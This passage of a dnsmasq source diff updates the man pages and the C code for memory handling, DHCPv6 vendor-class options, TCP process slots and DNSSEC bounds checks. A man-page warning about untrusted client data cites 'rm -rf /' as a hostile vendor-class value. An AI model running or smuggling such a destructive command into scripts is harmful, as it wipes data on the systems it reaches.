exists at the domain. This fixes the DS/zone break detection logic.
+45 -11
View File
@@ -174,12 +174,18 @@ Specify an alternate path for dnsmasq to record its process-id in. Normally /var
.B \-u, --user=<username>
Specify the userid to which dnsmasq will change after startup. Dnsmasq must normally be started as root, but it will drop root
privileges after startup by changing id to another user. Normally this user is "nobody" but that
can be over-ridden with this switch.
can be over-ridden with this switch.
.TP
.B \-g, --group=<groupname>
Specify the group which dnsmasq will run
as. The default is "dip", if available, to facilitate access to
/etc/ppp/resolv.conf which is not normally world readable.
/etc/ppp/resolv.conf which is not normally world readable. If "dip" is not available, the default becomes
the main group associated with the uid specified by
.B --user
, or "nobody".
Specifying
.B --group
without an argument inhibits any change to the gid of the process, even to the defaults.
.TP
.B \-v, --version
Print the version number.
@@ -868,7 +874,7 @@ will be logged. If this coincides with DNS not functioning, it
is necessary to disable the feature. As at version 2.91, 0x20 encoding
is disabled by default, and must be enabled with --do-0x20-encode. The default
may change in the future, so to be sure of its status after an upgrade, set --do-0x20-encode
or --no-0x20-encode in your config. --no-0x20-encode overrides --do-x20-encode or a future default
or --no-0x20-encode in your config. --no-0x20-encode overrides --do-0x20-encode or a future default
0x20-encode enable.
.TP
.B --use-stale-cache[=<max TTL excess in s>]
@@ -1041,7 +1047,10 @@ options. If the lease time is given, then leases
will be given for that length of time. The lease time is in seconds,
or minutes (eg 45m) or hours (eg 1h) or days (2d) or weeks (1w) or "infinite". If not given,
the default lease time is one hour for IPv4 and one day for IPv6. The
minimum lease time is two minutes. For IPv6 ranges, the lease time
minimum lease time is two minutes. An explicitly configured lease time also
affects IPv6 router advertisements: it acts as a ceiling on the advertised
prefix lifetimes. For constructed ranges it also acts as a floor, unless the
prefix is being deprecated. For IPv6 ranges, the lease time
maybe "deprecated"; this sets the preferred lifetime sent in a DHCP
lease or router advertisement to zero, which causes clients to use
other addresses, if available, for new connections as a prelude to renumbering.
@@ -1329,7 +1338,7 @@ have exactly the same effect as
options containing the same information. /etc/ethers is re-read when
dnsmasq receives SIGHUP. IPv6 addresses are NOT read from /etc/ethers.
.TP
.B \-O, --dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],][<opt>|option:<opt-name>|option6:<opt>|option6:<opt-name>],[<value>[,<value>]]
.B \-O, --dhcp-option=[tag:<tag>,[tag:<tag>,]][encap:<opt>,][vi-encap:<enterprise>,][vendor:[<vendor-class>],][<opt>|option:<opt>|option:<opt-name>|option4:<opt>|option4:<optname>|option6:<opt>|option6:<opt-name>],[<value>[,<value>]]
Send various extra options to DHCP clients. By default,
dnsmasq sends some standard options to DHCP clients, the netmask and
broadcast address are set to the same as the host running dnsmasq, and
@@ -1348,6 +1357,13 @@ For example, to set the default route option to 192.168.4.4, use
and to set the time-server address to 192.168.0.4, use
\fB--dhcp-option=42,192.168.0.4\fP or
\fB--dhcp-option=option:ntp-server,192.168.0.4\fP.
The above examples are backwards compatible, for consistency with IPV6, the time-server example
may also be given as
\fB--dhcp-option=option:42,192.168.0.4\fP or
\fB--dhcp-option=option4:42,192.168.0.4\fP or
\fB--dhcp-option=option4:ntp-server,192.168.0.4\fP
The special address 0.0.0.0 means "the address of the system running dnsmasq".
An option without data is valid, and includes just the option without data.
@@ -1372,11 +1388,14 @@ described in RFC 3442.
IPv6 options are specified using the \fBoption6:\fP
keyword, followed by the option number or option name. The IPv6 option
name space is disjoint from the IPv4 option name space. IPv6 addresses
in options must be bracketed with square brackets, eg.
\fB --dhcp-option=option6:ntp-server,[1234::56]\fP.
in options must be bracketed with square brackets, eg. \fB --dhcp-option=option6:sntp-server,[1234::56]\fP or
--dhcp-option=option6:31,[1234::56].
For IPv6, [::] means "the global address of
the machine running dnsmasq", whilst [fd00::] is replaced with the
ULA, if it exists, and [fe80::] with the link-local address.
ULA, if it exists, and [fe80::] with the link-local address. The vendorclass option
is special for DHCPv6, since it requires an enterprise number which must appear as a decimal number
before the class(es). eg. \fB --dhcp-option=option6:vendor-class,343,HTTPClient\fP
Be careful: data-type suitability for the option number sent is not checked.
It is quite possible to persuade dnsmasq to generate illegal DHCP packets with
@@ -1902,7 +1921,12 @@ DNSMASQ_CLIENT_ID if the host provided a client-id.
DNSMASQ_CIRCUIT_ID, DNSMASQ_SUBSCRIBER_ID, DNSMASQ_REMOTE_ID if a
DHCP relay-agent added any of these options.
DNSMASQ_CPEWAN_OUI, DNSMASQ_CPEWAN_SERIAL, DNSMASQ_CPEWAN_CLASS from
an RFC3925 Vendor-Identifying Vendor-Specific Information Option
containing the Broadband Forum enterprise number and options
defined in TR-069.
If the client provides vendor-class, DNSMASQ_VENDOR_CLASS.
For IPv6 only:
@@ -1925,7 +1949,17 @@ only supplied for
since these data are not held in dnsmasq's lease
database.
Please note that the environment options DNSMASQ_USER_CLASS0..DNSMASQ_USER_CLASSn,
DNSMASQ_VENDOR_CLASS0..DNSMASQ_VENDOR_CLASSn,
DNSMASQ_VENDOR_CLASS,
DNSMASQ_CIRCUIT_ID, DNSMASQ_SUBSCRIBER_ID, DNSMASQ_REMOTE_ID,
DNSMASQ_CPEWAN_OUI, DNSMASQ_CPEWAN_SERIAL, DNSMASQ_CPEWAN_CLASS,
DNSMASQ_MUD_URL all contain values which are derived directly from untrusted data recieved
from clients. Be very careful with quoting when using these values, lest an attacker sends
a vendor class of "rm -rf /". Note also that the RFCs defining these options tend to simply
define them an opaque data: the implication but not the letter of the definition is
printable strings. In practise, dnsmasq passes all octets except zero, which is treated
as a terminator.
All file descriptors are
closed except stdin, which is open to /dev/null, and stdout and stderr which capture output for logging by dnsmasq.
@@ -2704,7 +2738,7 @@ IPv4 and IPv6 addresses from /etc/hosts (and
and
.B --interface-name
and
.B ---dynamic-host
.B --dynamic-host
provided the address falls into one of the subnets specified in the
.B --auth-zone.
.PP
+2 -2
View File
@@ -869,7 +869,7 @@ Om detta sammanfaller med att DNS inte fungerar, är det
nödvändigt att inaktivera funktionen. I version 2.91 är 0x20-kodning
inaktiverad som standard och måste aktiveras med --do-0x20-encode. Standardinställningen
kan komma att ändras i framtiden, så för att vara säker på dess status efter en uppgradering, ställ in --do-0x20-encode
eller --no-0x20-encode i din konfiguration. --no-0x20-encode åsidosätter --do-x20-encode eller en framtida standardinställning
eller --no-0x20-encode i din konfiguration. --no-0x20-encode åsidosätter --do-0x20-encode eller en framtida standardinställning
0x20-encode enable.
.TP
.B --use-stale-cache[=<max TTL excess in s>]
@@ -2732,7 +2732,7 @@ IPv4- och IPv6-adresser från /etc/hosts (och
och
.B --interface-name
och
.B ---dynamic-host
.B --dynamic-host
förutsatt att adressen faller inom ett av de subnät som anges i
.B --auth-zone.
.PP
+60 -31
View File
@@ -16,7 +16,9 @@
#include "dnsmasq.h"
static struct blockdata *keyblock_free;
static struct blockdata *new_block(void);
static struct blockdata *keyblock_free, *fallback;
static unsigned int blockdata_count, blockdata_hwm, blockdata_alloced;
static void add_blocks(int n)
@@ -48,7 +50,11 @@ void blockdata_init(void)
/* Note that daemon->cachesize is enforced to have non-zero size if OPT_DNSSEC_VALID is set */
if (option_bool(OPT_DNSSEC_VALID))
add_blocks(daemon->cachesize);
}
/* make sure we have one block to fall back on. */
if (!(fallback = new_block()))
die(_("Blockdata init: no memory"), NULL, EC_MISC);
}
void blockdata_report(void)
{
@@ -84,36 +90,52 @@ static struct blockdata *blockdata_alloc_real(int fd, char *data, size_t len)
struct blockdata *block, *ret = NULL;
struct blockdata **prev = &ret;
size_t blen;
int fail;
do
{
if (!(block = new_block()))
{
/* failed to alloc, free partial chain */
blockdata_free(ret);
return NULL;
}
if ((blen = len > KEYBLOCK_LEN ? KEYBLOCK_LEN : len) > 0)
{
if (data)
{
memcpy(block->key, data, blen);
data += blen;
}
else if (!read_write(fd, block->key, blen, RW_READ))
{
/* failed read free partial chain */
blockdata_free(ret);
return NULL;
}
}
len -= blen;
*prev = block;
prev = &block->next;
} while (len != 0);
/* Zero length still gives one empty block, blockdata_alloc(NULL, 0)
is how callers start a chain to add to with blockdata_expand(). */
if (len == 0)
return new_block();
for (fail = 0; len != 0; len -= blen)
{
blen = len > KEYBLOCK_LEN ? KEYBLOCK_LEN : len;
if (!fail)
{
if ((block = new_block()))
{
*prev = block;
prev = &block->next;
}
else
{
/* Failed to alloc, use the pre-allocated fall-back.
This allows us to always read the specified amount of data from the fd. */
fail = 1;
block = fallback;
}
}
if (data)
{
memcpy(block->key, data, blen);
data += blen;
}
else if (!read_write(fd, block->key, blen, RW_READ))
{
fail = 1;
break;
}
}
if (fail)
{
/* failed, free partial chain */
blockdata_free(ret);
return NULL;
}
return ret;
}
@@ -132,7 +154,7 @@ int blockdata_expand(struct blockdata *block, size_t oldlen, char *data, size_t
/* find size of current final block */
for (b = block; oldlen > KEYBLOCK_LEN && b; b = b->next, oldlen -= KEYBLOCK_LEN);
/* chain to short for length, something is broken */
/* chain too short for length, something is broken */
if (oldlen > KEYBLOCK_LEN)
{
blockdata_free(block);
@@ -235,6 +257,13 @@ void blockdata_write(struct blockdata *block, size_t len, int fd)
}
}
/* NOTE: this can fail (NULL return) for two possible reasons.
1) end of stream.
2) malloc failure when allocating blocks.
Unless EOF is encountered, len octets will always be read from the stream,
even in memory allocation fails.
*/
struct blockdata *blockdata_read(int fd, size_t len)
{
return blockdata_alloc_real(fd, NULL, len);
+53 -22
View File
@@ -217,29 +217,42 @@ static void free_config_crec(struct crec *p)
config_spare = p;
}
static struct nameblock *nameblock_spare = NULL;
static char *store_name(unsigned int namelen, unsigned int index)
{
struct nameblock *block;
char *ret = NULL;
int i;
if (namelen > NAMEBLOCK_CHARS)
return NULL;
for (block = hostblocks; block; block = block->next)
if (block->index == index && NAMEBLOCK_CHARS - block->last >= namelen)
break;
if (!block && ((block = whine_malloc(sizeof(struct nameblock)))))
{
block->next = hostblocks;
block->index = index;
hostblocks = block;
}
if (block && NAMEBLOCK_CHARS - block->last >= namelen)
/* Check the first few blocks for possible space. This allows efficient memory usage
without blowing up O(n^2) CPU usage which the linked list gets long. */
for (i = 10, block = hostblocks; i != 0 && block; block = block->next, i--)
if (block->index == index && NAMEBLOCK_CHARS - block->last >= namelen)
{
ret = &block->data[block->last];
block->last += namelen;
return ret;
}
if (nameblock_spare)
{
block = nameblock_spare;
nameblock_spare = nameblock_spare->next;
}
else
block = whine_malloc(sizeof(struct nameblock));
if (block)
{
block->next = hostblocks;
block->index = index;
block->last = namelen;
hostblocks = block;
ret = &block->data[0];
}
return ret;
@@ -247,11 +260,20 @@ static char *store_name(unsigned int namelen, unsigned int index)
static void free_names(unsigned int index)
{
struct nameblock *block;
struct nameblock *block, *tmp, **up;
for (block = hostblocks; block; block = block->next)
if (index == UID_NONE || block->index == index)
block->last = 0;
for (up = &hostblocks, block = hostblocks; block; block = tmp)
{
tmp = block->next;
if (index == UID_NONE || block->index == index)
{
*up = tmp;
block->next = nameblock_spare;
nameblock_spare = block;
}
else
up = &block->next;
}
}
/* In most cases, we create the hash table once here by calling this with (hash_table == NULL)
@@ -1017,9 +1039,18 @@ int cache_recv_insert(time_t now, int fd)
unsigned short class = C_IN;
struct blockdata *block = NULL;
if ((flags & F_RR) && !(flags & F_NEG) && (flags & F_KEYTAG)
&& !(block = addr.rrblock.rrdata = blockdata_read(fd, addr.rrblock.datalen)))
continue;
/* Note that blockdata_read() can return NULL either
because the stream ended, OR memory allocation failed.
We continue here rather than returning 0 to finish draining
the pipe in the second case. If the stream ended, the read
of the next length at the top of the loop will fail
and we'll return 0 there. */
if (flags & F_RR)
{
if (!(flags & F_NEG) && (flags & F_KEYTAG) &&
!(block = addr.rrblock.rrdata = blockdata_read(fd, addr.rrblock.datalen)))
continue;
}
#ifdef HAVE_DNSSEC
else if (flags & F_DNSKEY)
{
@@ -2309,7 +2340,7 @@ static char *edestr(int ede)
}
}
static int error_occured(unsigned int flags) {
static int error_occurred(unsigned int flags) {
if (flags & F_RCODE)
return 1;
else if (flags & F_NEG)
@@ -2330,10 +2361,10 @@ void log_query(unsigned int flags, char *name, union all_addr *addr, char *arg,
if (!option_bool(OPT_LOG))
return;
if(option_bool(OPT_LOG_ONLY_FAILED) && !error_occured(flags))
if(option_bool(OPT_LOG_ONLY_FAILED) && !error_occurred(flags))
return;
/* F_NOERR is reused here to indicate logs arrising from auth queries */
/* F_NOERR is reused here to indicate logs arising from auth queries */
if (!(flags & F_NOERR) && option_bool(OPT_AUTH_LOG))
return;
+32 -1
View File
@@ -734,7 +734,7 @@ static const struct opttab_t opttab6[] = {
{ "status", 13, OT_INTERNAL },
{ "rapid-commit", 14, OT_INTERNAL },
{ "user-class", 15, OT_INTERNAL | OT_CSTRING },
{ "vendor-class", 16, OT_INTERNAL | OT_CSTRING },
{ "vendor-class", 16, OT_DHCP6_VENDOR },
{ "vendor-opts", 17, OT_INTERNAL },
{ "sip-server-domain", 21, OT_RFC1035_NAME },
{ "sip-server", 22, OT_ADDR_LIST },
@@ -909,6 +909,37 @@ char *option_string(int prot, unsigned int opt, unsigned char *val, int opt_len,
buf[j++] = ',';
}
}
else if ((ot[o].size & OT_DHCP6_VENDOR))
{
unsigned int enterprise;
unsigned char *p = &val[0];
if (opt_len >= 4)
{
GETLONG(enterprise, p);
snprintf(buf, buf_len, "%u", enterprise);
j = strlen(buf);
i = 4;
while (i + 2 <= opt_len)
{
int k, len;
p = &val[i];
GETSHORT(len, p);
if (i + 2 + len > opt_len)
break;
if (j < buf_len - 1)
buf[j++] = ',';
for (k = 0; k < len && j < buf_len - 1; k++)
{
char c = *p++;
if (isprint((unsigned char)c))
buf[j++] = c;
}
buf[j] = 0;
i += len + 2;
}
}
}
#endif
else if ((ot[o].size & (OT_DEC | OT_TIME)) && opt_len != 0)
{
+1 -1
View File
@@ -720,7 +720,7 @@ static int construct_worker(struct in6_addr *local, int prefix,
return 1;
for (tmp = daemon->dhcp_except; tmp; tmp = tmp->next)
if (tmp->name && wildcard_match(tmp->name, ifrn_name))
if (tmp->name && (tmp->flags & INAME_6) && wildcard_match(tmp->name, ifrn_name))
return 1;
for (template = daemon->dhcp6; template; template = template->next)
+117 -52
View File
@@ -140,6 +140,9 @@ int main (int argc, char **argv)
/* one char flag per possible RR in answer section (may get extended). */
daemon->rr_status_sz = 64;
daemon->rr_status = safe_malloc(sizeof(*daemon->rr_status) * daemon->rr_status_sz);
/* Increase TCP process slots by half, and reserve the extra for validation-to-tcp use only. */
daemon->dnssec_tcp_slot_reserved = daemon->max_procs/2;
daemon->max_procs += daemon->dnssec_tcp_slot_reserved;
}
#endif
@@ -427,7 +430,8 @@ int main (int argc, char **argv)
daemon->tcp_pids = safe_malloc(daemon->max_procs*sizeof(pid_t));
daemon->tcp_pipes = safe_malloc(daemon->max_procs*sizeof(int));
daemon->tcp_type = safe_malloc(daemon->max_procs);
for (i = 0; i < daemon->max_procs; i++)
daemon->tcp_pipes[i] = -1;
}
@@ -1652,7 +1656,11 @@ static void async_event(int pipe, time_t now)
/* tcp_pipes == -1 && tcp_pids == 0 required to free slot */
if (daemon->tcp_pipes[i] == -1)
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
{
if (daemon->tcp_type[i])
daemon->dnssec_tcp_slot_reserved++;
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
}
}
break;
@@ -1888,7 +1896,7 @@ static void set_dns_listeners(void)
struct serverfd *serverfdp;
struct listener *listener;
struct randfd_list *rfl;
int i;
int i, j;
for (serverfdp = daemon->sfds; serverfdp; serverfdp = serverfdp->next)
poll_listen(serverfdp->fd, POLLIN);
@@ -1902,8 +1910,8 @@ static void set_dns_listeners(void)
poll_listen(rfl->rfd->fd, POLLIN);
/* check to see if we have free tcp process slots. */
for (i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1)
for (j = 0, i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1 && ++j > daemon->dnssec_tcp_slot_reserved)
break;
for (listener = daemon->listeners; listener; listener = listener->next)
@@ -1930,12 +1938,12 @@ static void check_dns_listeners(time_t now)
struct serverfd *serverfdp;
struct listener *listener;
struct randfd_list *rfl;
int i;
int i, j;
/* Note that handling events here can create or destroy fds and
render the result of the last poll() call invalid. Once
we find an fd that needs service, do it, then return to go around the
poll() loop again. This avoid really, really, wierd bugs. */
poll() loop again. This avoid really, really, weird bugs. */
if (!option_bool(OPT_DEBUG))
for (i = 0; i < daemon->max_procs; i++)
@@ -1955,7 +1963,11 @@ static void check_dns_listeners(time_t now)
daemon->tcp_pipes[i] = -1;
/* tcp_pipes == -1 && tcp_pids == 0 required to free slot */
if (daemon->tcp_pids[i] == 0)
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
{
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
if (daemon->tcp_type[i])
daemon->dnssec_tcp_slot_reserved++;
}
}
return;
}
@@ -1995,8 +2007,8 @@ static void check_dns_listeners(time_t now)
at least one a poll() time, that we still do.
There may be more waiting connections after
poll() returns then free process slots. */
for (i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1)
for (j = 0,i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1 && ++j > daemon->dnssec_tcp_slot_reserved)
break;
if (i >= 0)
@@ -2015,20 +2027,32 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
pid_t p;
union mysockaddr tcp_addr;
socklen_t tcp_len = sizeof(union mysockaddr);
struct server *s;
struct server *s;
struct listener *l;
int flags, auth_dns = 0;
struct in_addr netmask;
int pipefd[2];
struct iovec tcpbuff;
#ifdef HAVE_LINUX_NETWORK
unsigned char a = 0;
#endif
netmask.s_addr = 0;
while ((confd = accept(listener->tcpfd, NULL, NULL)) == -1 && errno == EINTR);
if (confd == -1)
return;
{
/* Transient errors: just return and retry on next poll cycle. */
if (errno == EAGAIN || errno == ECONNABORTED ||
errno == EMFILE || errno == ENFILE ||
errno == ENOMEM || errno == ENOBUFS)
return;
/* Fatal error (EINVAL, EBADF, etc): socket is permanently broken.
Close it so poll() no longer selects it. In --bind-dynamic mode
the listener will be rebuilt on the next address change event. */
close(listener->tcpfd);
listener->tcpfd = -1;
return;
}
if (getsockname(confd, (struct sockaddr *)&tcp_addr, &tcp_len) == -1)
{
@@ -2138,27 +2162,22 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
/* fork() done: parent side */
close(pipefd[1]); /* parent needs read pipe end. */
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent (us)
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
the child closes the netlink socket, but there's
a nasty race, since the parent may use netlink
before the child has done the close.
/* The child process inherits various sockets,
whose existence can mess up the function of
the parent. See below for details of which
sockets, and why they cause problems. The
child closes the sockets during startup,
but there's a nasty race, since the parent
may use them before the child has done the close.
To avoid this, the parent blocks here until a
To avoid the race, the parent blocks here until a
single byte comes back up the pipe, which
is sent by the child after it has closed the
netlink socket. */
is sent when the child has finished the close. */
read_write(pipefd[0], &a, 1, RW_READ);
#endif
daemon->tcp_pids[slot] = p;
daemon->tcp_pipes[slot] = pipefd[0];
daemon->tcp_type[slot] = 0;
daemon->metrics[METRIC_TCP_CONNECTIONS]++;
if (daemon->metrics[METRIC_TCP_CONNECTIONS] > daemon->max_procs_used)
daemon->max_procs_used = daemon->metrics[METRIC_TCP_CONNECTIONS];
@@ -2176,18 +2195,43 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
return;
}
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
close the netlink socket in the child. */
close(daemon->netlinkfd);
#elif defined(HAVE_BSD_NETWORK)
close(daemon->routefd);
#endif
/* Close inherited listening sockets in the child process.
These are not needed here and holding them prevents the
parent from re-binding if an interface is removed and
re-added (the child's copy causes EADDRINUSE). */
for (l = daemon->listeners; l; l = l->next)
{
if (l->fd != -1)
close(l->fd);
if (l->tcpfd != -1)
close(l->tcpfd);
if (l->tftpfd != -1)
close(l->tftpfd);
}
/* unblock parent now we're not holding sockets we shouldn't. */
read_write(pipefd[1], &a, 1, RW_WRITE);
/* Arrange for SIGALRM after CHILD_LIFETIME seconds to
terminate the process. */
#ifdef HAVE_LINUX_NETWORK
/* See comment above re: netlink socket. */
close(daemon->netlinkfd);
read_write(pipefd[1], &a, 1, RW_WRITE);
#endif
alarm(CHILD_LIFETIME);
close(pipefd[0]); /* close read end in child. */
daemon->pipe_to_parent = pipefd[1];
}
}
/* The connected socket inherits non-blocking
attribute from the listening socket.
Reset that here. */
@@ -2232,14 +2276,13 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
ssize_t *plen, char *name, int class, struct server *server, int *keycount, int *validatecount)
{
struct server *s;
struct listener *l;
if (!option_bool(OPT_DEBUG))
{
pid_t p;
int i, pipefd[2];
#ifdef HAVE_LINUX_NETWORK
unsigned char a = 0;
#endif
/* check to see if we have a free tcp process slot. */
for (i = daemon->max_procs - 1; i >= 0; i--)
@@ -2260,26 +2303,24 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
return STAT_ABANDONED;
}
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent (us)
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
the child closes the netlink socket, but there's
a nasty race, since the parent may use netlink
before the child has done the close.
/* The child process inherits various sockets,
whose existence can mess up the function of
the parent. See below for details of which
sockets, and why they cause problems. The
child closes the sockets during startup,
but there's a nasty race, since the parent
may use them before the child has done the close.
To avoid this, the parent blocks here until a
To avoid the race, the parent blocks here until a
single byte comes back up the pipe, which
is sent by the child after it has closed the
netlink socket. */
is sent when the child has finished the close. */
read_write(pipefd[0], &a, 1, RW_READ);
#endif
/* i holds index of free slot */
daemon->tcp_pids[i] = p;
daemon->tcp_pipes[i] = pipefd[0];
daemon->tcp_type[i] = 1;
daemon->dnssec_tcp_slot_reserved--;
daemon->metrics[METRIC_TCP_CONNECTIONS]++;
if (daemon->metrics[METRIC_TCP_CONNECTIONS] > daemon->max_procs_used)
daemon->max_procs_used = daemon->metrics[METRIC_TCP_CONNECTIONS];
@@ -2294,10 +2335,34 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
{
/* child starts here. */
#ifdef HAVE_LINUX_NETWORK
/* See comment above re: netlink socket. */
/* The child process inherits the netlink socket,
which it never uses, but when the parent
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
close the netlink socket in the child. */
close(daemon->netlinkfd);
#elif defined(HAVE_BSD_NETWORK)
close(daemon->routefd);
#endif
/* Close inherited listening sockets in the child process.
These are not needed here and holding them prevents the
parent from re-binding if an interface is removed and
re-added (the child's copy causes EADDRINUSE). */
for (l = daemon->listeners; l; l = l->next)
{
if (l->fd != -1)
close(l->fd);
if (l->tcpfd != -1)
close(l->tcpfd);
if (l->tftpfd != -1)
close(l->tftpfd);
}
/* unblock parent now we're not holding sockets we shouldn't. */
read_write(pipefd[1], &a, 1, RW_WRITE);
#endif
alarm(CHILD_LIFETIME);
close(pipefd[0]); /* close read end in child. */
daemon->pipe_to_parent = pipefd[1];
+5 -3
View File
@@ -723,7 +723,7 @@ struct resolvc {
#endif
};
/* adn-hosts parms from command-line (also dhcp-hostsfile and dhcp-optsfile and dhcp-hostsdir*/
/* addn-hosts parms from command-line (also dhcp-hostsfile and dhcp-optsfile and dhcp-hostsdir*/
#define AH_DIR 1
#define AH_INACTIVE 2
#define AH_WD_DONE 4
@@ -834,6 +834,7 @@ struct frec {
#define OT_CSTRING 0x0800
#define OT_DEC 0x0400
#define OT_TIME 0x0200
#define OT_DHCP6_VENDOR 0x0100
/* actions in the daemon->helper RPC */
#define ACTION_DEL 1
@@ -1170,7 +1171,7 @@ struct dhcp_relay {
};
extern struct daemon {
/* datastuctures representing the command-line and
/* datastructures representing the command-line and
config file arguments. All set (including defaults)
in option.c */
@@ -1295,6 +1296,7 @@ extern struct daemon {
int fd_save; /* " " */
pid_t *tcp_pids;
int *tcp_pipes;
char *tcp_type;
int pipe_to_parent;
int numrrand;
struct randfd *randomsocks;
@@ -1354,7 +1356,7 @@ extern struct daemon {
/* file for packet dumps. */
int dumpfd;
#endif
int max_procs;
int max_procs, dnssec_tcp_slot_reserved;
uint max_procs_used;
} *daemon;
+38 -24
View File
@@ -177,7 +177,7 @@ static int get_rdata(struct dns_header *header, size_t plen, struct rdata_state
if ((state->c = state->end - state->ip) != 0)
{
state->op = state->ip;
state->ip = state->end;;
state->ip = state->end;
}
else
return 0;
@@ -189,24 +189,28 @@ static int get_rdata(struct dns_header *header, size_t plen, struct rdata_state
if (d == (u16)0)
{
/* domain-name, canonicalise */
int len;
/* If the name is malformed, or runs beyond the end of the RR, abort.
under no circumstances should state->ip be beyond state->end since
that will cause the run-out code above to turn the negative
calculted length into a very large postive value for state->c
and overrun the buffer. */
if (!extract_name(header, plen, &state->ip, state->buff, EXTR_NAME_EXTRACT, 0) ||
(len = to_wire(state->buff)) == 0)
continue;
state->c = len;
state->ip > state->end)
return 0;
/* to_wire() always returns length > 0 */
state->c = to_wire(state->buff);
state->op = (unsigned char *)state->buff;
}
else
{
/* plain data preceding a domain-name, don't run off the end of the data */
if ((state->end - state->ip) < d)
d = state->end - state->ip;
if (d == 0)
continue;
/* Plain data preceding a domain-name.
Handle short RR, if there are no bytes left, return finished. */
if ((state->end - state->ip) < d &&
(d = state->end - state->ip) == 0)
return 0;
state->op = state->ip;
state->c = d;
state->ip += d;
@@ -482,7 +486,6 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
int i, wire_len, sig_len;
const struct nettle_hash *hash;
void *ctx;
char *name_start;
u32 nsigttl, ttl, orig_ttl;
failflags &= ~DNSSEC_FAIL_NOSIG;
@@ -572,13 +575,13 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
if (!extract_name(header, plen, &p, name, EXTR_NAME_EXTRACT, 10))
return STAT_BOGUS;
name_start = name;
/* if more labels than in RRsig name, hash *.<no labels in rrsig labels field> 4035 5.3.2 */
/* If the name is already the wildcard, we're not going to change it. */
if (labels < name_labels &&
!(name_labels - labels == 1 && name_start[0] == '*' && name_start[1] == '.'))
!(name_labels - labels == 1 && name[0] == '*' && name[1] == '.'))
{
char *name_start = name;
for (j = name_labels - labels; j != 0; j--)
{
while (*name_start != '.' && *name_start != 0)
@@ -591,11 +594,13 @@ static int validate_rrset(time_t now, struct dns_header *header, size_t plen, in
*wildcard_offset_out = name_start - name + 1;
name_start--;
*name_start = '*';
*name_start = '*';
/* move our name to the start of the buffer to avoid pathalogical cases over-running the end in to_wire(). */
memmove(name, name_start, strlen(name_start) + 1);
}
wire_len = to_wire(name_start);
hash->update(ctx, (unsigned int)wire_len, (unsigned char *)name_start);
wire_len = to_wire(name);
hash->update(ctx, (unsigned int)wire_len, (unsigned char *)name);
hash->update(ctx, 4, p); /* class and type */
hash->update(ctx, 4, (unsigned char *)&nsigttl);
@@ -1018,6 +1023,13 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
if (!servfail)
{
/* If the answer carries no proof of non-existence, we fall back to asking if the
zone is unsigned, but that question is answered by the very DS record we're
chasing here, so we'd loop getting nowhere. Treat the zone as unsigned and let
the checks below decide if that's acceptable. */
if (STAT_ISEQUAL(rc, STAT_NEED_DS) && hostname_isequal(name, keyname))
rc = STAT_INSECURE;
if (STAT_ISEQUAL(rc, STAT_INSECURE))
{
/* A INSECURE DS answer is OK if it's negative and there's a CNAME answer to the DS answer which is
@@ -1632,7 +1644,7 @@ static int prove_non_existence_nsec3(struct dns_header *header, size_t plen, uns
if (*closest_encloser == '.')
closest_encloser++;
if (wild_offset != 0 && name - closest_encloser == wild_offset)
if (wild_offset != 0 && closest_encloser - name == wild_offset)
break;
if (dec_counter(validate_counter, NULL))
@@ -1683,11 +1695,13 @@ static int prove_non_existence_nsec3(struct dns_header *header, size_t plen, uns
wildcard--;
*wildcard = '*';
/* move our name to the start of the buffer to avoid pathalogical cases over-running the end in to_wire(). */
memmove(name, wildcard, strlen(wildcard) + 1);
if (dec_counter(validate_counter, NULL))
return DNSSEC_FAIL_WORK;
if ((digest_len = hash_name(wildcard, &digest, hash, salt, salt_len, iterations)) == 0)
if ((digest_len = hash_name(name, &digest, hash, salt, salt_len, iterations)) == 0)
return DNSSEC_FAIL_NONSEC;
if (!check_nsec3_coverage(header, plen, digest_len, digest, type, workspace1, workspace2, nsecs, nsec_count, NULL, 1))
@@ -1923,7 +1937,7 @@ static int zone_status(char *name, int class, char *keyname, time_t now)
return STAT_INSECURE;
}
if (name_start == 0)
if (name_start <= 1)
break;
for (p = &name[name_start-2]; (*p != '.') && (p != name); p--);
+26 -24
View File
@@ -129,6 +129,23 @@ void dump_packet_icmp(int mask, void *packet, size_t len,
do_dump_packet(mask, packet, len, src, dst, -1, IPPROTO_ICMP);
}
static u32 calc_data_checksum(u32 sum, void *packet, size_t len)
{
u32 i;
for (i = 0; i < len/2; i++)
sum += ((u16 *)packet)[i];
if (len & 1) /* last byte, in case length is odd. */
sum += ((unsigned char *)packet)[len - 1];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
if (sum != 0xffff)
sum = ~sum;
return sum;
}
static void do_dump_packet(int mask, void *packet, size_t len,
union mysockaddr *src, union mysockaddr *dst, int port, int proto)
{
